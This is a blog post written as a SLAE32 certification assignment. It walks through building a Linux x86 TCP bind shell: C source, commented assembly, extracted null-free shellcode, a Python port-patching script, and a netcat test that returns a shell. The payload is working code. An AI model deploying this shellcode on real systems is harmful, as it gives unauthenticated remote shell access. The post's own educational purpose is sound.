SLAE32 - Assignment 1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-15072

All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments

TCP_Bind Shell

Requirements:
  • Binds to a port
  • Executes a shell on incoming connection
  • Port should be 'easily' configurable
For this assignment, I started like many others and first disassembled metasploit shellcode. It had the basic principals I expected, but to my dismay it didn't really help me to write my own-- MSF's shellcodes are well optimized, so I felt like I'd basically just be copying code, rather than learning to implement it myself. I decided to first write a bind shell in C, as it's low level and I'd be (essentially) making the same calls:
// Shell_bind_tcp
// For SLAE32
// Howard McGreehan

#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
 // Create a struct for the server's listening information
        struct sockaddr_in srv_addr;

 // As seen in https://www.man7.org/linux/man-pages/man7/ip.7.html
 // Set the socket 'family' to AF_INET
 // Set the sin_port value to the port number, in network byte order
 // Set the s_addr value to INADDR_ANY, for IP agnostic bind()
        srv_addr.sin_family = AF_INET; 
        srv_addr.sin_port = htons(4444);
        srv_addr.sin_addr.s_addr = INADDR_ANY;

        // Then, create the socket! 
        int socketfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

 // Now, we need to bind things together
        bind( socketfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

 // Next, we set the socket to 'listen', and apply a 'backlog' argument to 0
        listen( socketfd, 0 );

 // Once set to listen, we need to tell the listening socket to accept connections
        int newSocket = accept(socketfd, NULL, NULL);

        // Set up dup2 for stdin/out/err
        dup2(newSocket, 0);
        dup2(newSocket, 1);
        dup2(newSocket, 2);

 // Lastly, we execute /bin/sh
        execve( "/bin/sh", NULL, NULL );
}

Now with some intel, the process can be broken into objectives:
  1. Create a socket
  2. Bind the socket
  3. Set the bound socket to listen
  4. Redirect stdin, stdout and stderr to the socket
  5. Execute a shell
Once I knew what I had to do, I was able to come at it from an 'accomplish each objective' angle, rather than just trying to flat-out write a bind shell. Here's the assembly I came up with-- it's pretty verbose and basically explains itself through comments:
; TCP Bind Shell
; For SLAE32
;
; Howard McGreehan
global _start
section .text
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx       

        ; Push it to the stack for the socket(x,x, protocol) argument, set to IPPRORO_IP (0)
        push ecx

        ; socket(x, type, x) argument, set to SOCK_STREAM (1)
        push 0x1

        ; socket(domain, x, x) argument, set to AF_INET (2)
        push 0x2

        ; set socketcall(x, args) argument to ESP (the start of our args)
        ; Populate eax with socketcall (0x66)
        ; set socketcall(call, x) to 1 (sys_socket)
        mov ecx, esp
        mov al, 0x66
        mov bl, 0x1
        int 0x80

        ; Our socket file descriptor should be returned within EAX
        mov esi, eax

bind:
        ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
        ; set up bind socketcall
        mov al, 0x66
        mov bl, 2
        xor ecx, ecx

      ; set up the sockaddr struct (2, 4444, 0)
        push ecx
        push word 0x5C11
        push word 0x2

        ; save the location of the struct
        mov edi, esp

        ; push addrlen (size of sockaddr)
        push 16

        ; push sockaddr pointer
        push edi

        ; push sockfd pointer (loaded from eax earlier)
        push esi

        ; move stack pointer into ecx for args
        mov ecx, esp
        int 0x80

listen:
        ; int listen(int sockfd, int backlog)
        ; set up listen socketcall
        mov al, 0x66
        mov bl, 4

        ; push backlog
        push 0x5

        ; push sockfd
        push esi

        ; load args
        mov ecx, esp
        int 0x80

accept:
        ; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
        ; set up accept socketcall
        inc bl
        mov al, 0x66

        ; zero out edx to push nulls
        xor edx, edx

        ; push sockaddr len (0)
        push edx

        ; push sockaddr pointer (0)
        push edx

        ; push sockfd pointer (saved from socket())
        push esi

        ; load args into ecx
        mov ecx, esp
        int 0x80

        ; eax contains returned clientfd from accept()
        ; let's save that out
        xchg ebx, eax
        xor ecx, ecx
        mov cl, 0x2

dup:
        ; int dup2(int oldfd, int newfd)
        ; load dup2 into eax 
        ; ecx has our counter for stdin/out/err

        mov al, 63
        int 0x80
        dec ecx
        jns dup

shell:
        ; int execve(const char *pathname, char *const argv[], char *const envp[])
        ; Zero Out eax for first null (envp) and push to stack
        xor eax, eax
        push eax

        ; Now, push the string bin bash onto the stack for argv
        push 0x68736162
        push 0x2f6e6962
        push 0x2f2f2f2f

        ; Now, need filename pointer
        ; EZ, pop into EBX
        mov ebx, esp

        ; push another null
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp

        ; Now, set up syscall
        mov al, 0xb
        int 0x80
It's certainly not small-- clocking in at 111 bytes. But, there aren't any nulls either, so that's a win for my first 32 bit shellcode. Looking back at it now (I'm writing this after completing all 7 assignments), clear optimizations jump out at me, so I can tell I've become much more proficient.
$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\x31\xdb\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xb3\x01\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x05\x56\x89\xe1\xcd\x80\xfe\xc3\xb0\x66\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
The next task was to make the port the shell uses easily modifiable. This seemed more straightforward, and I wrote a python script to accept port numbers and spit out the fixed shellcode:
#!/usr/bin/env python
import sys

if len(sys.argv) < 2:
    print("[-] Provide a port > 256")
    sys.exit()

else:
    if int(sys.argv[1]) <= 256:
        print("[-] Port needs to be greater than 256 to guarantee sockaddr struct size is accurate and avoid null bytes.\n")
        print("If you require a lower port, consider changing the instructions in bind from:")
        print("\tpush ecx\n\tpush word 0x5C11\n\tpush word 0x2\n")
        print("to:")
        print("\tpush ecx\n\tsub esp, 2  ; stack alignment\n\tmov byte [esp], cl  ; null\n\tmov byte [esp], 0x65  ; port 100\n\tpush word 0x2\n")
        sys.exit()
    lport = int(sys.argv[1])

def fixPort(lport):
    p = hex(lport)[2:]
    psize = len(str(p))
    if psize == 1 or psize == 3:
        p = "0" + p
    psize = len(str(p))
    if psize == 2:
        fport = '\\x' + str(p)[0:2]
    else:
        fport = '\\x' + str(p)[0:2] + '\\x' + str(p)[2:4]
    if "\\x00" in fport:
        print("[!] Port conversion contains a null byte, I'm lazy, so choose another port maybe?")
        sys.exit()
    else:
        return fport

port = fixPort(lport)
print("[+] Fixed port: " + port)

shellcode = ""
shellcode += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x51\\x6a\\x01\\x6a"
shellcode += "\\x02\\x89\\xe1\\xb0\\x66\\xb3\\x01\\xcd\\x80\\x89"
shellcode += "\\xc6\\xb0\\x66\\xb3\\x02\\x31\\xc9\\x51\\x66\\x68"
shellcode += port
shellcode += "\\x66\\x6a\\x02\\x89\\xe7\\x6a\\x10\\x57"
shellcode += "\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x6a"
shellcode += "\\x05\\x56\\x89\\xe1\\xcd\\x80\\xfe\\xc3\\xb0\\x66"
shellcode += "\\x31\\xd2\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x93"
shellcode += "\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79"
shellcode += "\\xf9\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68"
shellcode += "\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89"
shellcode += "\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd"
shellcode += "\\x80"

print("")
print("[+] Shellcode:\n" + shellcode)
This script just accepts a port as an argument, then writes it in the \x format to the shellcode. If the provided port is less than or equal to 256, I suggest replacement instructions in order to keep the sockaddr struct valid, as a single byte port will throw off our size, and a port such as 512 would result in 0x2000, which has a null byte. I saw a few fixes people made that were clever-- a template nasm file for instance, but rather than do all that, we can keep it simple. If people really need to be binding to privileged ports, they can with a very small amount of additional work.
$ ./portGen.py 4444
[+] Fixed port: \x11\x5c
[+] Shellcode:
\x31\xc0\x31\xdb\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xb3\x01\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x05\x56\x89\xe1\xcd\x80\xfe\xc3\xb0\x66\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
After dropping it into shellcode.c and compiling, here's the output:
$ ./shellcode &
[1] 73667
$ Shellcode Length:  111
$ nc -v localhost 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),128(lpadmin),132(scanner)
^C
[1]+  Done                    ./shellcode
And that's it for task one.

Comments

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

05 - How to maybe not be so bad at fuzzing, Part 1